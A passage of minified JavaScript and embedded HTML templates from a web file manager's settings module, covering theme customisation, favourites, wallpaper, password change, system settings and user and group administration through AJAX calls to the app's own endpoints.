absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/setting/fav",[],function(){var e="index.php?fav/",t=function(t){$.ajax({url:e+"get",dataType:"json",async:!1,success:function(e){return e.code?(i(e.data,t),void 0):(Tips.tips(e),void 0)},error:function(){return!1}})},i=function(e,t){var i=""+htmlEncode(LNG.name)+"("+LNG.can_not_repeat+")"+""+htmlEncode(LNG.address)+"("+LNG.absolute_path+")"+""+LNG.action+""+"";for(var a in e)i+=""+" "+" "+" "+" "+" "+" "+"";if($("table#list").html(i),t&&"fav&"==t.substring(0,4)){var n=t.split("&")[1].split("=")[1],o=t.split("&")[2].split("=")[1],s=t.split("&")[3].split("=")[1];n=htmlEncode(urlDecode(n)),o=htmlEncode(urlDecode(o));var r=" "+" "+" "+" "+" "+" "+" "+"";$(r).insertAfter("table#list tr:last")}},a=function(){var e=" "+" "+" "+"";$(e).insertAfter("table#list tr:last")},n=function(){var e=$(this).parent().parent();$(e).detach()},o=function(){var t=$(this).parent().parent(),i=$(t).find("#sname").val(),a=$(t).find("#spath").val(),n=$(t).find("#stype").val();return""==i||""==a?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({url:e+"add&name="+urlEncode(i)+"&path="+urlEncode(a)+"&type="+n,dataType:"json",success:function(e){if(Tips.tips(e),e.code){$(t).attr("name",i),$(t).attr("path",a);var n=""+"";$(t).find("td.action").html(n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()})}}}),void 0)},s=function(){var i=$(this).parent().parent(),a=$(i).attr("name"),n=$(i).find("#sname").val(),o=$(i).find("#spath").val();return""==n||""==o?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({dataType:"json",url:e+"edit&name="+urlEncode(a)+"&name_to="+urlEncode(n)+"&path_to="+urlEncode(o),success:function(e){Tips.tips(e),e.code&&($(i).attr("name",n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}),t())}}),void 0)},r=function(){var t=$(this).parent().parent(),i=$(t).attr("name");$.ajax({url:e+"del&name="+urlEncode(i),dataType:"json",async:!1,success:function(e){Tips.tips(e),e.code&&($(t).detach(),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}))}})},l=function(){$(".fav .add").live("click",a),$(".fav .addexit").live("click",n),$(".fav .addsave").live("click",o),$(".fav .edit").live("click",s),$(".fav .del").live("click",r)};return l(),{init:t}}),define("app/src/setting/setting",[],function(e){var t,i=function(e){core.setSkin(e),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),"diy"!=e?$(".theme_diy_setting").addClass("hidden"):$(".theme_diy_setting").removeClass("hidden")},a=function(e){core.setSkin(e)};template.helper("menu_info_decode",function(e){var t=htmlEncode(urlDecode(e));return t});var n=function(t){var i={about:e("./page/about.html"),fav:e("./page/fav.html"),help:e("./page/help.html"),member:e("./page/member.html"),system:e("./page/system.html"),theme:e("./page/theme.html"),user:e("./page/user.html"),wall:e("./page/wall.html")};return i[t]},o=function(e){(""==e||void 0==e)&&(e="user"),t=e,"fav&"==e.substring(0,4)&&(e="fav"),$(".selected").removeClass("selected"),$("ul.setting a#"+e).addClass("selected");var i=window.location.href;-1!=i.indexOf("#")&&(i=i.substr(0,i.indexOf("#"))),window.location.href=i+"#"+e,$.ajax({url:"./index.php?setting/slider&slider="+e,beforeSend:function(){$(".main").html("")},success:function(i){if("about"==e){var a=i.data;if(i.data="",!core.tools.about(a))return;i.data=a}var o=$(".menu_left .selected").clone();o.find(".ripple_father").remove();var r="
      "+o.html()+"
      ",l=n(e),c=template.compile(l),d=c({urlDecode:urlDecode,LNG:LNG,G:G,data:i.data,info:i.info});$(".main").html(r+d),$(".main").fadeIn("fast"),"fav"==e&&Fav.init(t),"member"==e&&System.init(),"theme"==e&&s(),t=e,$("a,img").attr("draggable","false")}})},s=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){$("#colorRotate").slider().on("slide",i)}),e.async("lib/colorpicker/js/colorpicker",function(){$(".colorpicker").remove(),$(".color_picker").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$("input[name="+$(this).attr("input-name")+"]");a.val("#"+t),i()}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value)})});var t=$(".theme_diy_setting");t.find("input[name]").unbind("change").bind("change",function(){var e=$(this).attr("name");"bg_type"==e&&($(".theme_bg_type_image,.theme_bg_type_color").addClass("hidden"),$(".theme_bg_type_"+$(this).val()).removeClass("hidden")),$(this).attr("data-slider-value")||i()}),t.find(".theme_diy_save").unbind("click").bind("click",function(){var e=G.user_config.theme_diy;$.ajax({url:"index.php?setting/set&k=theme_diy&v="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})}),t.find(".color_list").each(function(){var e=jsonDecode($(this).attr("data-color"));$(this).css("background-image","linear-gradient("+e.color_rotate+"deg,"+e.start_color+","+e.end_color+")")}),t.find(".color_list").unbind("click").bind("click",function(){var e=jsonDecode($(this).attr("data-color"));$.each(e,function(e,a){var n=t.find("input[name="+e+"]");"color_rotate"==e?$("#colorRotate").slider("setValue",parseInt(a)):n.val(a),i()})});var i=function(){if("diy"==LocalData.get("theme")){var e={};t.find("input[name]").each(function(){var i=$(this).attr("name"),a=$(this).val();"checkbox"==$(this).attr("type")?a=Number($(this).is(":checked")):"radio"==$(this).attr("type")&&(a=t.find("[name="+i+"]:checked").val()),e[i]=a}),LocalData.setConfig("kod_diy_style",e),core.setSkin("diy"),ShareData.frameTop("",function(e){e.ui.setTheme("diy")})}}},r=function(){1!=G.is_root&&$("ul.setting #system").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]?$("ul.setting #member").show():$("ul.setting #member").hide(),t=location.hash.split("#",2)[1],o(t),$("ul.setting a").click(function(){t!=$(this).attr("id")&&(t=$(this).attr("id"),o(t))}),$("#password_new").keyEnter(function(){Setting.tools()}),$(".user_config_setting .form_row input").die("change").live("change",function(){var e=$(this),t=e.attr("name"),i=e.val();"checkbox"==e.attr("type")&&(i=e.prop("checked")?"1":"0"),l(t,i)}),$(".path_select").die("click").live("click",function(){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(e){var e=core.path2url(e);$(".path_select").parent().find("input[type=text]").val(e).trigger("change"),Setting.tools()})}),$(".randomImage").die("click").live("click",function(){var e=$(this),t=function(e){var t=G.my_desktop+"wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+t,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e))})};core.api.randomImage(function(i){e.addClass("moveCircle"),e.parent().find("input[type=text]").val(i).trigger("change"),1==$('.box[data-type="wall"]').length&&Setting.tools(),setTimeout(function(){e.removeClass("moveCircle")},1e3),t(i)})}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e=$(this),t=e.parent();switch(type=t.attr("data-type"),value=e.attr("data-value"),t.find(".this").removeClass("this"),e.addClass("this"),type){case"wall":var a=G.static_path+"images/wall_page/"+value+".jpg";$("#wall_url").val(""),ShareData.frameTop("",function(e){e.ui.setWall(a)});break;case"theme":i(value);break;default:}l(type,value)}),$(".nav a").live("click",function(){$(".nav a").removeClass("this"),$(this).addClass("this");var e=$(this).attr("data-page");$(this).parent().parent().find(".panel").addClass("hidden"),$(this).parent().parent().find("."+e).removeClass("hidden")})},l=function(e,t){var i="index.php?setting/set&k="+e+"&v="+t;$.ajax({url:i,dataType:"json",success:function(e){e.code?Tips.tips(e):core.authCheck("setting:set")?Tips.tips(LNG.config_save_error_file,!1):Tips.tips(LNG.config_save_error_auth,!1)}})},c=function(){var e=$(".selected").attr("id");switch(e){case"user":var t=urlEncode($("#password_now").val()),i=urlEncode($("#password_new").val());if(""==i||""==t){Tips.tips(LNG.password_not_null,"error");break}$.ajax({url:"index.php?user/changePassword&password_now="+t+"&password_new="+i,dataType:"json",success:function(e){if(Tips.tips(e),e.code){var t=ShareData.frameTop();t.location.href="./index.php?user/logout"}}});break;case"wall":var a=$("#wall_url").val();if(""==a){Tips.tips(LNG.picture_can_not_null,"error");break}ShareData.frameTop("",function(e){e.ui.setWall(a)}),$(".box").find(".this").removeClass("this"),$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(e){Tips.tips(e)}});default:}};return r(),{setGoto:o,tools:c,setThemeSelf:a,setTheme:i}}),define("app/src/setting/page/about.html",[],'
      \n
      {{#data}}
      \n
      \n'),define("app/src/setting/page/fav.html",[],'\n'),define("app/src/setting/page/help.html",[],'
      \n
      {{#data}}
      \n
      \n'),define("app/src/setting/page/member.html",[],'
      \n
      \n
      \n
      {{LNG.system_group_edit}}
      \n
      {{LNG.system_group_role}}
      \n
      \n
      \n
      \n
      \n
      \n\n
      \n
      \n
        \n
        \n
        \n
        \n \n\n
        \n
        \n
        \n --\n id:\n \n\n \n \n 111/1.5\n
        \n
        \n
        \n
        \n
        \n \n\n \n \n
        \n
        \n\n\n'),define("app/src/setting/page/system.html",[],'\n\n{{if G.is_root}}\n
        \n {{if core.versionType !="A"}}\n \n {{/if}}\n\n {{if verIndex={"A":"free","O":"1","P":"2","Q":"3"} }}{{/if}}\n {{if verKey = "version_vip_"+verIndex[core.versionType] }}{{/if}}\n {{LNG[verKey]}}\n
        \n{{/if}}\n\n\n
        \n
        \n
        \n
        {{LNG.system_name}}:
        \n
        \n {{LNG.system_name_desc}}\n \n
        \n
        \n\n
        \n
        {{LNG.system_desc | window.htmlEncode}}:
        \n
        \n {{LNG.system_desc}}\n
        \n
        \n
        \n
        {{LNG.path_hidden}}:
        \n
        \n {{LNG.path_hidden_desc}}\n
        \n
        \n
        \n
        {{LNG.new_user_folder}}:
        \n
        \n {{LNG.new_user_folder_desc}}\n
        \n
        \n
        \n
        {{LNG.new_user_app}}:
        \n
        \n {{LNG.new_user_app_desc}}\n
        \n
        \n
        \n
        {{LNG.auto_login}}:
        \n
        \n \n
        \n
        \n
        \n
        {{LNG.need_check_code}}:
        \n
        \n \n
        \n
        \n\n
        \n
        {{LNG.first_in}}:
        \n
        \n \n \n \n
        \n
        \n\n \n
        \n
        \n \n
        \n
        \n
        \n\n\n {{if info}}\n \n {{/if}}\n
        \n\n\n\n\n\n\n\n'),define("app/src/setting/page/theme.html",[],'
        \n
        \n {{each data.setting_all.themeall.split(\',\') as value key}}\n
        \n
        \n
        {{#LNG[\'theme_\'+value]}}
        \n
        \n {{/each}}\n
        \n
        \n
        \n\n{{if config = G.user_config.theme_diy}}{{/if}}\n
        \n

        {{LNG.theme_diy_title}}

        \n
        \n
        \n
        {{LNG.theme_diy_background}}:
        \n
        \n \n \n
        \n
        \n\n
        \n
        \n
        {{LNG.theme_diy_image_blur}}:
        \n
        \n \n
        \n
        \n
        \n
        {{LNG.theme_diy_image_url}}:
        \n
        \n \n \n \n
        \n
        \n
        \n\n
        \n
        \n
        {{LNG.theme_diy_color_start}}:
        \n
        \n \n
        \n
        \n
        \n
        {{LNG.theme_diy_color_end}}:
        \n
        \n \n
        \n
        \n
        \n
        {{LNG.theme_diy_color_radius}}:
        \n
        \n \n
        \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n\n \n
        \n
        \n
        \n \n
        \n
        \n\n
        \n
        \n'),define("app/src/setting/page/user.html",[],'\n\n
        \n
        \n
        \n
        {{LNG.recycle_open_if}}:
        \n
        \n \n
        \n
        \n\n
        \n
        {{LNG.setting_user_animate_open}}:
        \n
        \n \n
        \n
        \n\n
        \n
        {{LNG.setting_user_sound_open}}:
        \n
        \n \n
        \n
        \n\n
        \n
        {{LNG.upload_exist}}:
        \n
        \n \n \n \n
        \n
        \n
        \n
        \n
        \n\n\n\n'),define("app/src/setting/page/wall.html",[],'
        \n
        \n {{each data.setting_all.wallall.split(\',\') as value key}}\n
        \n
        \n
        \n {{/each}}\n
        \n
        \n
        \n\n\n
        \n

        {{LNG.setting_wall_diy}}

        \n
        \n
        \n
        URL:
        \n
        \n 3}}value="{{data.user.wall}}"{{/if}}/> \n \n \n
        \n
        \n\n \n
        \n
        \n
        \n \n
        \n
        \n
        \n
        \n'),define("app/src/setting/system/system_setting",[],function(){var e=function(){$("input[name='first_in']").live("click",function(){$("input[name='first_in']").removeAttr("checked"),$(this).attr("checked","checked") +}),$(".system_save").die("click").live("click",function(){var e={};$(".system_setting .form_row [name]").each(function(){var t=$(this);if("checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}else"radius"!=t.attr("type")&&(e[t.attr("name")]=urlEncode(t.val()))}),e.first_in=$("input[name='first_in'][checked]").val(),a(e)}),t(),$(".phpinfo").die("click").live("click",function(){$.dialog.open("./index.php?setting/php_info",{title:"php_info",width:"70%",height:"65%",resize:!0})}),$(".system_setting_more").die("click").live("click",function(){if(G.is_root){var e=G.basic_path+"config/setting_user.php",t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}}}),i()},t=function(){$('.setting_menu .menu_list input[name="target"]').live("click",function(){"_blank"==$(this).val()?($(this).val("_self"),$(this).removeAttr("checked")):($(this).val("_blank"),$(this).attr("checked","checked"))}),$(".setting_menu .system_menu_add").die("click").live("click",function(){var e=$(".menu_default").clone().removeClass("menu_default hidden").addClass("menu_list");e.insertAfter(".setting_menu .menu_list:last")}),$(".setting_menu .menu_list .move_up").die("click").live("click",function(){var e=$(this).parent().parent();e.prev().hasClass("menu_list")&&e.insertBefore(e.prev())}),$(".setting_menu .menu_list .move_down").die("click").live("click",function(){var e=$(this).parent().parent();e.next().hasClass("menu_list")&&e.insertAfter(e.next())}),$(".setting_menu .menu_list .move_hidden").die("click").live("click",function(){var e=$(this).parent().parent();e.hasClass("menu_hidden")?(e.removeClass("menu_hidden"),$(this).text(LNG.menu_hidden)):(e.addClass("menu_hidden"),$(this).text(LNG.menu_show))}),$(".setting_menu .menu_list .move_del").die("click").live("click",function(){var e=$(this).parent().parent();e.remove()}),$(".system_menu_save").die("click").live("click",function(){var e=[];$(".setting_menu .menu_list").each(function(){var t=$(this),i={};t.hasClass("menu_default")||(t.find("input").each(function(){i[$(this).attr("name")]=urlEncode($(this).attr("value"))}),""!=i.name&&(i.use="1",i.type="",t.hasClass("menu_hidden")&&(i.use="0"),t.hasClass("menu_system")&&(i.type="system"),e.push(i)))}),a({menu:e})})},i=function(){$(".system_others_save").die("click").live("click",function(){var e={};$(".setting_system_others .form_row [name]").each(function(){var t=$(this);if(e[t.attr("name")]=urlEncode(t.val()),"checkbox"==t.attr("type")){var i=void 0==t.attr("checked")?"0":"1";e[t.attr("name")]=i}}),a(e)}),$("[system-tools]").die("click").live("click",function(){var e=$(this),t=e.attr("system-tools"),i=htmlRemoveTags(e.html());e.addClass("disabled").html(LNG.loading),Tips.loading(LNG.loading),$.ajax({url:"index.php?setting/system_tools&action="+t,dataType:"json",error:function(t,a,n){core.ajaxError(t,a,n),Tips.close(LNG.error,!1),e.removeClass("disabled").html(i)},success:function(t){Tips.close(t),setTimeout(function(){e.removeClass("disabled").html(i)},300)}})})},a=function(e){$.ajax({url:"index.php?setting/system_setting",type:"POST",data:"data="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})};e()}),define("app/src/setting/system/system",["lib/contextMenu/jquery-contextMenu","lib/ztree/ztree","./system_member","./system_group","./system_role"],function(e){e("lib/contextMenu/jquery-contextMenu"),e("lib/ztree/ztree");var t=e("./system_member"),i=e("./system_group"),a=e("./system_role"),n=function(){o("system_group"),s(),a.init(),i.init()},o=function(e){$(".system_conennt .this").removeClass("this"),$(".system_conennt #"+e).addClass("this"),$(".left_content").addClass("hidden"),$("."+e).removeClass("hidden"),$(".right_frame").addClass("hidden"),$("#content_"+e).removeClass("hidden")},s=function(){$(".left_header .tab").die("click").live("click",function(){var e=$(this).attr("id");o(e)})},r=function(e){e.each(function(){var e=core.userSpaceHtml($(this).html());$(this).html(e)})},l=function(e){var t=G.user_path+e.path+"/home/";e.group_id&&(t=G.group_path+e.path+"/home/"),e.home_path&&(t=e.home_path),window.parent&&window.parent.Config&&"explorer"==window.parent.Config.pageApp?(window.parent.ui.path.list(t),Tips.tips(LNG.system_open_true_path,!0)):core.explorer(t)};return{init:n,sizeUse:r,openPath:l,dataList:core.tools.systemData,systemMember:t,systemGroup:i,systemRole:a}}),define("app/src/setting/system/system_member",[],function(e){var t,i,a=function(e){return void 0!=t?(n(e),void 0):($.ajax({url:"./index.php?system_member/get",dataType:"json",success:function(i){return i.code?(t=System.dataList(i,"member"),n(e),void 0):(Tips.tips(i),void 0)},error:function(){return!1}}),void 0)},n=function(a){""==a&&(a=i),i=a;var n=e("./tpl/user_list.html"),o=template.compile(n),s=o({LNG:LNG,select_group:a,user_list:t,group_list:System.systemGroup.getList(),role_list:System.systemRole.getList()});$(".user_liser_content").html(s),$(".button_aciton_muti button").addClass("disabled"),System.sizeUse($("#content_system_group .user_list_cell .space"))},o=function(e,n,o){if(void 0!=n){"object"!=typeof n&&(n=[n]);var s={del:LNG.system_member_remove_tips,status_set:"",role_set:LNG.system_member_set_role,group_reset:"",group_remove_from:LNG.system_member_remove_group,group_add:""},r=function(){$.ajax({url:"./index.php?system_member/do_action&action="+e,type:"POST",data:"user_id="+jsonEncode(n)+"¶m="+o,dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),$.dialog.list.share_dialog&&$.dialog.list.share_dialog.close(),t=void 0,a(i)}})};""==s[e]?r():$.dialog({id:"dialog_user_confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:s[e],ok:function(){r()},cancel:!0})}},s="write",r=function(e){var t={1:s};t[e]=s;var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};console.log(i),p(i,!0)},l=function(e){var t={1:s};t[e]=s;var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};p(i)},c=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},d=function(){var e=System.systemGroup.getList(),t=jsonDecode($("#group_info").attr("value")),i="";for(var a in t)e[a]&&(i+="read"==t[a]?''+e[a].name+"":''+e[a].name+"");$(".dlg_group_display .cell").html(i+'
        ')},p=function(n,s){var r=System.systemRole.getList(),l=e("./tpl/user.html");s&&(l=e("./tpl/user_import.html"));var p=template.compile(l),u=p({LNG:LNG,user_info:n,role_list:r}),h=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:u});c(),System.sizeUse($(".share_view_info")),$("#group_info").val(jsonEncode(n.group_info)),$(".dlg_group_select").unbind("click").bind("click",function(){f($("#group_info").val(),function(e){$("#group_info").val(e),d()})}),d(),$(".input_line #name").textFocus();var m="./index.php?system_member/add";s?m="./index.php?system_member/add&isImport=1":""==n.name?$(".share_action .remove_button").hide():m="./index.php?system_member/edit&user_id="+n.user_id,$("#system_save").unbind("click").bind("click",function(){_()}),$(".select_drop_menu a").unbind("click").bind("click",function(){$(this).parent().parent().find("a").removeClass("selected"),$(this).addClass("selected"),$(".select_drop_menu .role_title").html($(this).html()),$("#role").val($(this).attr("data-role-id"))}),$(".remove_button").unbind("click").bind("click",function(){o("del",n.user_id,"")}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(n)}),$(".content_box input").keyEnter(function(){_(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){_(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var _=function(e){s&&(e=!1);var o={};$(".share_dialog .content_info [name]").each(function(){var e=urlEncode($(this).val());""!=e&&(o[$(this).attr("name")]=e)}),$.ajax({url:m,data:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(o){return Tips.close(o),o.code||"version_error"!=o.info?o.code?(t=void 0,a(i),s?h.close():""!=n.name||1!=e?h.close():$(".input_line #name").val("").textFocus(),void 0):(s&&$("#name").val(o.info),void 0):($.dialog({content:o.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},f=function(t,i){var a=System.systemGroup.getListTree(),n=System.systemGroup.getList();t=jsonDecode(t),$.isArray(t)&&(t={});var o={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).after('').before(''+core.iconSmall("groupGuest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";a.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data_group_id",t.id)}},callback:{onClick:function(e,i,a){t||(t={}),$("#"+a.tId+"_a").hasClass("this")?delete t[a.id]:t[a.id]=s,c()}}},r=function(){var e=$("#user_group_select");$.fn.zTree.init(e,o,a);var t=$.fn.zTree.getZTreeObj("user_group_select");t&&t.expandAll(!0)},l=function(){var a=e("./tpl/group_select.html"),n=template.compile(a),o=n({LNG:LNG});$.dialog({id:"select_usre_group_dlg",title:LNG.system_member_group_edit,padding:"0",width:540,lock:!0,background:"#fff",opacity:.1,fixed:!0,content:o,ok:function(){i(jsonEncode(t))},cancel:!0}),r()},c=function(){var e="";$("#user_group_select .curSelectedNode").removeClass("curSelectedNode"),$("#user_group_select a[data_group_id]").removeClass("this");var i=function(e){var t={read:LNG.system_role_read,write:LNG.system_role_write},i="",a='class="selected"',n="btn-primary";"read"==e&&(i='class="selected"',a="",n="btn-default");var o='
        ";return o};for(var a in t)n[a]&&($("#user_group_select a[data_group_id="+a+"]").addClass("this"),e+='
      • '+' '+n[a].name+""+' '+i(t[a])+"
      • ");$(".select_group_right").html(e)},d=function(){$(".right_content .group_self .remove").die("click").live("click",function(){var e=$(this).parent().attr("group-id");delete t[e],c()}),$(".group_self .dropdown-menu li").die("click").live("click",function(){var e=$(this).attr("data-info"),i=$(this).parent().attr("data-current"),a=$(this).parent().parent().parent().attr("group-id");i!=e&&(t[a]=e,c())})};l(),c(),d()},u=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},h=function(){$("body").click(u).contextmenu(u),$.contextMenu({zIndex:9999,selector:".user_action_menu",items:{user_list_edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",user_remove:{name:LNG.remove,icon:"trash",accesskey:"d"},user_status_close:{name:LNG.system_member_unuse,icon:"",accesskey:"c"},user_status_open:{name:LNG.system_member_use,icon:"",accesskey:"o"},sep2:"--------",group_remove_from:{name:LNG.system_member_group_remove,icon:"",accesskey:"g"},group_add:{name:LNG.system_member_group_insert,icon:"",accesskey:"a"},group_reset:{name:LNG.system_member_group_reset,icon:"",accesskey:"i"}},callback:function(e,t){var i=t.$trigger.attr("data-id");$("#content_system_group .group_id").html();var a=[i];_(e,a,"")}})},m=function(){$(".size_max_set input").live("input",c),$("#content_system_group .content [data-action]").live("click",function(e){if(!$(e.target).is("input")){var t=$(this),i=t.attr("data-action"),a=[];if($("#content_system_group .user_select:checked").each(function(){a.push($(this).parent().parent().attr("data-id"))}),"user_list_edit"==i){var n=t.parent().parent().attr("data-id");a=[n]}return _(i,a,t,e),!0}})},_=function(e,i,a,n){var s=$("#content_system_group .group_id").html();switch(e){case"user_add":l(s);break;case"user_import":r(s);break;case"group_remove_from":o("group_remove_from",i,s);break;case"group_add":f("{}",function(e){o("group_add",i,e)});break;case"group_reset":f("{}",function(e){o("group_reset",i,e)});break;case"role_set":var c=a.attr("data-role-id");o("role_set",i,c);break;case"user_status_open":o("status_set",i,1);break;case"user_status_close":o("status_set",i,0);break;case"user_remove":o("del",i,"");break;case"user_list_select":var d=a.find(".user_select");d.attr("checked")?d.removeAttr("checked"):d.attr("checked","true"),v();break;case"user_list_edit":p(t[i[0]]),stopPP(n);break;default:}},v=function(){$("#content_system_group .user_select:checked").length>=1?$(".button_aciton_muti button").removeClass("disabled"):$(".button_aciton_muti button").addClass("disabled"),$("#content_system_group .user_list_cell ").removeClass("selected"),$("#content_system_group .user_select:checked").each(function(){$(this).parent().parent().addClass("selected")})},g=function(){$("#content_system_group .user_select_set").live("click",function(){$(this).attr("checked")?$("#content_system_group .user_select").attr("checked","true"):$("#content_system_group .user_select").removeAttr("checked"),v()}),$("#content_system_group .user_select").live("click",function(){v()})};return g(),m(),h(),{resetList:function(){t=void 0},loadList:a,add:l}}),define("app/src/setting/system/tpl/user_list.html",[],'
        \n
        \n \n \n \n
        \n \n
        \n \n \n
        \n\n
        \n \n \n \n
        \n
        \n
        \n \n \n \n \n \n \n \n \n \n {{each user_list as v i}}\n {{if v && (select_group==\'1\' || v.group_info[select_group]) }}\n \n \n \n \n \n \n \n {{/if}}\n {{/each}}\n \n
        {{LNG.username}}{{LNG.system_member_role}}{{LNG.space_size_use}}{{LNG.system_member_group}}
        \n {{if v.user_id!=\'1\'}}{{/if}}\n \n {{v.name}}\n {{v.user_id}}\n {{role_list[v.role]}}{{v.config.size_use}}/{{v.config.size_max}}\n {{each v.group_info as group_read group_id}}\n {{if group_list[group_id]}}\n {{if group_read=="read"}}\n {{group_list[group_id][\'name\']}}\n {{else}}\n {{group_list[group_id][\'name\']}}\n {{/if}}\n {{else}}\n \n {{/if}}\n {{/each}}\n
        \n
        \n\n\n'),define("app/src/setting/system/tpl/user.html",[],'
        \n
        \n
        \n {{if !user_info.name}}\n {{LNG.system_member_add}}\n {{else}}\n {{user_info.name}} \n {{/if}}\n
        \n {{if user_info.name}}\n \n {{/if}} \n
        \n
        \n
        \n {{LNG.username}}:\n \n {{if user_info.name}}\n \n {{else}}\n {{LNG.username}}\n {{/if}}\n
        \n
        \n
        \n {{LNG.password}}:\n \n {{if user_info.name}}{{LNG.system_member_password_tips}}{{/if}}\n
        \n
        \n
        \n {{LNG.space_size}}:\n \n \n
        \n
        \n
        \n {{LNG.system_member_role}}:\n \n
        \n \n \n
        \n\n \n {{LNG.more}}\n
        \n
        \n\n
        \n
        \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
        \n
        \n
        \n\n
        \n {{LNG.system_member_group}}:\n \n
        \n
        \n \n
        \n
        \n
        \n
        \n\n \n
        \n'),define("app/src/setting/system/tpl/user_import.html",[],'
        \n
        \n
        \n {{LNG.system_member_import}}\n
        \n
        \n
        \n
        \n {{LNG.username}}:\n \n {{#LNG.system_member_import_desc}}\n
        \n
        \n
        \n {{LNG.password}}:\n \n
        \n
        \n
        \n {{LNG.space_size}}:\n \n \n
        \n
        \n
        \n {{LNG.system_member_role}}:\n \n
        \n \n \n
        \n\n \n {{LNG.system_member_role}}\n
        \n
        \n
        \n {{LNG.system_member_group}}:\n \n\n
        \n
        \n \n
        \n
        \n
        \n
        \n\n \n
        \n'),define("app/src/setting/system/tpl/group_select.html",[],'
        \n
        \n
        \n {{LNG.system_group_select}}:\n {{LNG.system_group_select_result}}:\n
        \n
        \n
        \n
        \n
          \n
        \n
        \n
        \n
        \n
